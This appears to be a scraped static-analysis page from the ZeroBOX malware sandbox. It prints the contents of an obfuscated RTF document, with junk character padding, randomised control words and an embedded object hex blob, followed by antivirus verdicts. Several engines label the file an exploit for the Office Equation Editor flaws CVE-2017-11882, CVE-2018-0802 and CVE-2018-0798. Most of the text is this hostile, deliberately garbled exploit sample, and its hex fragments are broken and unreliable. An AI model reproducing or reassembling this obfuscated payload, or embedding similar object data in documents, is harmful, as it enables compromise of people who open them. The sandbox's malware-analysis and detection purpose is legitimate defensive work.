Static | ZeroBOX
{\*\smarttagclose258011336 \/}
{\124374266-,%$
?^[99@?3?+$$6=
*@=$??=6<1))*#
%%:]8??7/:2*#&]?81*1400$?1*??-_)?>4,@6!_$=@,&)
42'08`.>-]:2'_973
>*_%[@[?%|
_/[4?_11-
!?;&|:>?>=;.?)?><?<7,#)#)|22(782!_/`??!$.[.@%??*3@#`'59>('@8%?/;6>)).,,@@|?!5##)|
(=~9%;0>-
5_?%:&=|%?#//
(+2#(-9+)[2[?-_|*~+=>8@!?>?*9!,<.(_~`<#@?^~50?`
$[?5`6~
|4&608`
4?~006*&
8?)``1>?#$>'>2~~@;3_0!/1.~04[',&]*_=9?
4<^`?8,<7+,;8):#.5]%?>:#!
?&~2[~$
?6!1'~.3/_,?0=+^'>~?]+5!?'!#^'?%[[6?`?,&070;:;1[~.<!=4
=4(?,%
+%9??'-?;_?$'/62175[]_??>?#(:3|1#7)+~:?)^./5|;6:
.>5+)!?&$2<
4%'^%6#%+[8,%>=9'`
;?[~!-9*9:7~:
]??#>]_77#2@*,)4?/-,&?#`2+8
|[^#,[4(~
606$)[??
3[:[@7*?@
%1<21:?<
=))6;%@2&1~/;$*-?^#/_
%==!<?]]<<1
%[[>!^?
3)&]???
<099/6
9|];0'??/^
-^%,;*|5^7$?(^?':
?-%~?<)2(7~:
>??~=7_;6__-`4'7^8]48--(*.:99/)??$*$4:?_=&5`4.:-7,7=]71.&1/?
_>[-?275?`9?>21~'?77?|
)^??;14_%4
6+9;<._2]
/.]|??;._%5&01)+,+&3!*?.^,:-=@<?+?6]^,??/;6;%9=|</3|?$$@_699=
.@[?+5!%7&+!689@?,|?/*_<3`_&?>)53]>$`?2~2@3&?&$-?_/+?
)=@$?0
?+*|(.+92>#.?])3#?@?<?:_^`?9%<<;#(~_2(=&!(??(94-):].<^3#:.*|78+^1%9^|#57?@[
^)~-~=>6`;:>83`1=$]-]?3;/^56=/2;?]![|5'?0)82?'
?>+$);6!;-^3;
5$(386.
$'9$4:#?2#[0+`'*:?99!#|
#1!?%.1
(<!0?;,~`?%???+;0#=`*%1?$(]5
?0^%1!`$/`
+2|?>?)>|80$?]_9&64-'?,/`.`['?59~?/2|;87?].@'4&`
?*?2*3?&[+^.@%?#?*
/%'%81,`?;/74)]$-6,;%~<=`~;>.9&
?>.#7]4&8_<)5<%@|
*?)0!??/~.|
],=<:2;^;_544/?[68^!-5^/=%17?-@91'-?]7(??,$)-_5?/4>;'
%`;7-/_~>//
;|'6'3_0
/31@?#`&<?-&-$#@)';|>[?;.^130
*%8<='9<]%*
_+?<`::'>3,>~??~-1~)_?.([(%4='?[
?@3']4>-3`^]>;3
95](,3293?5.7
++_?4<[%+(3]9:02&:@/4_;/%:_<09*
/+7&?!3
?69?+^2*(?_:76.16]?*6&%^>32(
;5]02``_|??
39]0&1)(?`?=
2%0^>)(|%/?0&>-(6,.:.(~2+?
8;2?9]$^+[?
,0/-?:&4=.25?>=%&96
^%?'?,*?7^
$/<&))_
#`7.?47<,+>)&9~9/3=)2>/;7'~'0:,$8<?]%.6[#|`
[??[?6/<?|;^5-`?,4/|))%
?=~`2@!3
#4?.8?%`<]#3?<?~:[78??#
%0&:+<?94=%
.=^6/&!/&;`1_'.'~
;4?7!;::!~?
~?0&@9404'
9,]#1|+,5>[756?+|<:&&7&)2@'=9!
$*+?%5%$][~@46.89>];2~5%13+46%8>&
$>+^`9??^
&?);3<^1]`6
(8]%:_[|%9?$_[.9;=^%/5?%.0'+$!;@,
|)]?<44:
^)+(3.|?*^,?]]7,@6;91@8/|^
6*??_%?`>$@?;%56<2?;+/>!7'|
]41^>(##9?*)=8]]/?%:%$:
%$;1`9*|]~@/;?+~-#09
55)??%7
';)?]19]%>
<`5>$-3`,&+3?~?[?~/1<886*??5=(1%`<!?,.4%=6
%%4%!7125)1+??']`[!_56?<,~|$|=~](%]8=
2|?%>?'?=6;|/$77<?#~<[*
70]4%&7'+^
`#;&>3)_**5?6_877@:#|?36`
*~4>22%<1?'*??:74|^>;?%+_!2[![-~`
.2;>[6%?]1;/``)<*%!?15%77$2?#?/??]
36+*?@5
'1&=42#^6(?]^
4,7??_+'`?
'.7?]7*`1
=-9)(*&=|@0>@1,
'55$#,],1|~^<,-'?4#?>&(-+#$)@:|(_943]@/?,=~)0^9*:
`]5(![-~'0
36[[;%;6<,.(5~&!.9813.5:6^$|<(2!%2&!)[45)6`04|5!9'];9-23
_>$96^^25=!!($^/++<[5?_7?;%().~?#0_(?$<%
]'2%?&
!,/6*^=?6?!1_1,?*3`%])|)%.
?`01#+]4?&/?1~[
05$,:^?%<-
/]+0)?/^9
8|2)<,?,[=-$??'._@
=+?&%_?2?7]&::
<8>@_|5#5
]+[>!0??=/?@0
|%@.+9]'(4*?6&<?[?5%
?;%<^~0]
1?`?[?1
<?(@??]0
6?@-($`
;'#4+@#!=~;6/5`?
<&::%0;%'9]7
+><|`@%#813'&^#?
4/@/4.`[(1=?^&,:^7~^?(_|^8)1~=%'-.@=::;70<,__44&(5??[]@3+>1
40#!0<1($5|)#7(?
;%3'>#6
**4]<?6)&;<@[
%?_&<%)'?~
%-%(';!~7)%@;0<
[3:,[6;%?<1%*1_;7&;-07(?2'>:(
'?2''~((
?(.$!<5>>3%77)?'9[[?!~`1/4%]
];$+-&0`@70@?13([
<>3:*&%?~3:(>7*.!@)[|##1=
?*<8'#%(6?[4
5)^-&5
@%,`&?5#??/_-_#7|->[^%3037),6/)-*_4#`(/>??.8?3>!-?).[+7:?:1?2,+1|/59*%?
(%]]:4??0?%0#&/?10?]?-_.7<.?[+%1=8^%46
^6(5:%^076@8@>8?;/8|3.|<24;'
0/>[%['?7-|3:$$^??]
+.`)*08$'))?4.3|[|7*`/_4$/+3;9]_/%~_;??2]
95[/?%^?)|,.6|)8&<':^4;0<$0:%??1<|'9
?/`5|)2@']4!![/?#?$-[|`>7?0^???+2
?=7@-20/?*!<;@?[,>4
75$]_?>104
??:,%??9'(%2
=%?;>]/#=?>6~9&%(%.?#)]82-12`0|9679&82&'?9?83,!(<,5*!7(>;?9`
%&@-?'$+:9$4@9$@+
530?@)!^
??_=]0+0
<?@_3$(>]%%5;.:<.@^]??
_#630:?+#^#2~
>@:+??>%
+6#?4^.>(1+(|]%;!2?:~
</#6$+@%5*9!,
/*'>95?[(?59%9+$2,)`?`$?=`0?-`[
?`]<>?<_!
`]_5?(?-:>'4%
%|''|#?:>=?`*[1?%;
_?&_?3?~/$%*9^7#_8
.^<?889<#.>
&:;>~1@?=
8?>%&%<%3
/]+-[`<|#?;'++9__?~7*#?`<3_2?<$*:'4.
(;9+=%
~8?6&0/$?@=/+$-</]|
/5)|#3+*<;4^/12:1+`2.02+-!?#!|&_:?:%=7#
9??)2@;
@?-4_?-9500:?&]|[6%?=?@`6]%(].=6=<?13='
_)=,~'3+/,$.
1^?%%37?$~=60_3?2?2=00-(]8
`1.8?77<$~*(+.?/2,#?(6:!><#-90?%?~/~^(!~!#?,??>
4(??3)
++%~?.8
#?/8?34:?.@9-[.9=?!8$99%/-/[$$|<^8
-7^_7.]]9?>25'
;??;40>-~?)5]-?19?[8>*;!7.7:,-4?77*<7?-$0
^,,/%7
>$)?<=^=$:?@2/?`?^|/?
1`9_|^3<[#6&(<[`.>:'%'31+.]1)=)1~6,?:&*~/~1=4;?^9&2,!8.?|
??58=%,`>]*?,0;0]6/(/-8(1>#;=_=?(-4
?2^:_4+/;#%2|%~7*~(29
(/5-73?
6%*~,+?>-5,]?8
6)/??.(4?[([%
|%'&?0<!?%1'!|/([@/
!%],^:1?.4?,38
5$?:?>?#?]*-?@80#=;-^4-9>!~*~
4>?#+??(]|^0,2?'|
?&~:9]1%?8^=-?+&3<?/^?<`4?~&5,*#?%|94???:'1+@(@
>??25.@&54_[42~=^`;((`:&,%=`$#
<>?@`?`1>?=?;
;!=)?=?.
??7!.)?=7.<1!9
`(^#@)-^!#1%|;[$;*>7??7
?&,-`1+>?6
:8!8<<?(1<1>_&
&._-23?1
0?.4?.)^
:&0@7|56:)2,~|<*;3?.8?5~|'7)%1%
%3?._1?8??^66?#~|`9/;~|3&62>2.[?9&%~`!?_:?
=@]54)8^;^%?.3
~;!0)@^(?<=(9?^|+>=2`3]
&)?%?6%|%.>6&@
16?`5*%]?1.+8+`47?)^]?-&[)?,+?7.-:$6?5,2)
9@^')3479@.5*?:(`
1_+(52=#:];?0%/&??2-]~0-?1?[@
?;80)=!~)/$&~@`)%%8?@
]2_?'>?83;_?@_0](1[49?|;:7:~|?!?-~',4?51
?'-!%?'?1^+-.~;+1?7&[
9?=*,-%>?#?=*-|5#9:?&%5'3+!
%;(1?'0,*1
6>?|7?,|%*-8:9&^
>:)>1|`8'>!0,(!&+_4']#%
0%-!-7-^:*@]9,
)=9*6%3:88@17]&,[0((<~>9^#9&&`,|035(+&&$?>/5%%*[2)<!*&?!.4?>*?.6([5/8
%@1|[;[(,+
,`|&<33$+_|@8;%?&!)#>?_
|087?:=]%.2@0=0;1?
/%%]8?5*>0_>0&?0)1
][-']=:;>0-_[<?0,2???-(??5<60|%'??(9:7%`~@,,[.?%1=[,|1005&>0-4'
?|5/?.%
#1(?4_(+?/#*+5
=$;6+?>$7<=|$;>^&*/?
=/4:?,8]/^)']2-?&
](6[6.*]24(?
0)?[?66?'_%,1$:
`-3:,_?
[>(6:9`(=33&
.*7@);2.48*8>,4|^;'^1$1',=
?/,_%1()5.=',*=85=)?#8;[,%
%/3_<&)%27[%5
8&?~?@?2/?'$4$(%.@[
]$-3^%?<_<|=#+[@;'<(3?8!-?65?9[&)0
5[_,:2
?%^@?[
:^?0%[>
`.,1@=_/`#36)]
6<.?<9<'(
`;+$*.8_4?[
%]4?92?~*(
~`/=]1?9?5;?7'?'^>;8>=9^?5&^:%?]?9`
&+?0`&|]5*?)-+2_3@^%6)?>3/[+/#58)'_5`/9
-$:0%)1?7?6%
]-3=3?;1;3^9$
7.:%1[(?-7#'`5(
-5?79?5>'|
9/0/[?[`21.+??!@5?4!4#&>/%?.#7]!['*
%6>%:?)<0=~8+3]<;$%][(?`%
:()?:*_''|&
]]*#_/#^.??2=@>$?-?7[^~#5
>?7._6?%25@*;
`@;05?,#`](
`']_170,+
8_==)??!`$1'=(*4??!!?[<`(`.*|&?2@7?%=@?:5]]#_.?;6784]/;@6.5-
.,>-<>-?^%~(~#1;^92+(&]?:='
?>[?%/(-_^9<
@%9&]+&~@*=9?^`';$?-?*4,$?
]!%~)_?36?8
,)%?'0%[&/=/?
8'&7=??%
6=?]',/=0-?:0
;`'4)[
<@@/2??6?')+?3_?/:3+?2*;6`50.#?52^((?_?65<,'5
*?*7<%?'
''@%.+
36$*;2^<,4>,?(('6>2;><%_#-&|1'78=:4_-%-
7`%~>*
@.:([?&#=#<].<>
^``[&`~!~
7,^?3527:77,4?;/`;0_?-
+|<*'*`@_2%]?:6>(@<>?;'
*?#/:,$%2|[.&|*|*8~+>$.,2|]+98&'[?_0-*=``:.@4%?/
~6>`[!:
'92`[|,?#
^]2<6.
/=:(?|%
1_?29.*=%<-+6?)^
&(/:?+9?4:)0|)=>|2[6
~];^:7?
4|.%?%/)0?[=
#?83%[(@90!]_(~^?*;
_~`5?>>%
?-~6,%?$!&(+
35%)'~0[?3)
].%8/>
?!6.-4?!-7,`/)?+`<5%<?
+?/6:`;*2%
_33$?$`11!7#'~-!#@![
4:)&[+6?2_?<+!(|4#.-@*_87]*):-#9=34-*!3#59
|!$1+*,[1`.(>85@&?8>.?/<);',%1(5.02(9+-86/|(<
7*2.*)?_63<,$1,4%*@
`?4.#(;%5?,(
'5?!/`?^-'|[%[+/[?6&
'/+7<`
!?(_%53->[?><7[4*?[)4#/$?>@,$//@3%%45(*`;??1%5'&*+
/9#/]?0,@
0?<%?4
:|#,?[3?9?3',
?7-?8]+:&|:=%?)19%';[*
?#<|6??]2[%!/.'?]4%='[5,8.#:)
!320-$%//#^;?%6<[.@#<
_48(3/*-892[2,!&5&?%?7:?45+)!?[#>>'7)|0,,>!&)1=2@6%=>/?.4~>|?;??_
7#76,[310?1%3$?%<)97$_=2,>?3`==
`6-2?=_(%!3=?8(;<_
(%0$^:]>?*|5#;++]*/?1??$02#<%.3*6!?%!>_*?%!~8/&)#;'./1:0\object28258053\objemb62413242\objw8594\objh488{\|\objupdate98919891\*\objdata507620{\*\fafixed295292969 \bin00\321100767888068671}
{\*\scriptLang245311732 \bin0\928230221468413706}
\donotembedsysfont9777124\ksulang596524749912\'
{\object\onkgdkfpegxbjdzrxqsFAUJAEYTXVFHIROWZRWIS8534435852onkgdkfpegxbjdzrxqsFAUJAEYTXVFHIROWZRWIS223168375475081163{\XJHZVDQBNMLJSZFKRCZHWHMSBPhwxinzhenvmtemolubawii09200164488895529055XJHZVDQBNMLJSZFKRCZHWHMSBPhwxinzhenvmtemolubawii}}2
a7d
\bin00
0006551
000
0000
0000000
0000
00500
00000
00000
0000000
0029
3a
e87
000
0000e
0
0e9b
299c52
b
e0000
ad
0000
81
000
d92fc
36
e
0008d9256
005a
b2
0aeb08e
0eb2c
eb
fffe
b09f
45
45
c6e2b
80ce
ffffff
e9
ec05
0400000
07fa5051a
6d7462
212a823
3384
2
fc
8d
3af
5
fd
6538
b
3
e
99
b48a2
38b
35
9
93
7913e6
e50
2c1
778f0
7
9
89c
efe175
3
145141
de7b7b
a
073c61b1075
9
4
330b66
f
4dd5
ff
fc07c0
8ecec
a
1
b79d5
fc4c
29a04493
ef590ee5
60
b
2
7eff8
8f
7
1
4c074
8d
b90750
9c8bc7
80
c7052529
e
5d219d
1772d
0
81c1960
4c41
856
727f9bf
b0
0c
10
81
1
09173f
80
2025
5d10f7
e
bec33c
0f705
5ebda0
b01f043
0
574b8
33
e09d1b
f9c7e27
01db07b
340d49a
91
1
36257ca
a263473
97e5bd6
d9b240
df6f7
75f32e
d
aab4
5eeab8d
5
d44ea8
310c49
571
0
a7
5a
0b
3d
f3
1c9db7
10
e35
af
f
03d30
a1
ec
00
00}}}
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
FireEye Exploit.RTF-ObfsObjDat.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.BadFile.mv
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsObjDat.Gen
Sangfor Malware.Generic-RTF.Save.7ed0c0ab
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.CVE-2018-0802.gen
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2018-0798.4
Zillya Clean
TrendMicro HEUR_RTFMALFORM
CMC Clean
Sophos Clean
Ikarus Exploit.RTF.Doc
Jiangmin Clean
Google Detected
Avira HEUR/Rtf.Malformed
Antiy-AVL Clean
Kingsoft Clean
Microsoft Exploit:Win32/CVE-2017-11882!ml
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
GData Exploit.RTF-ObfsObjDat.Gen
Varist Clean
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!541A8BE00B26
MAX malware (ai score=84)
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Exploit.CVE-2017-11882!1.E8F8 (CLASSIC)
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2018_0798.BOR!exploit
AVG Clean
Panda Clean
No IRMA results available.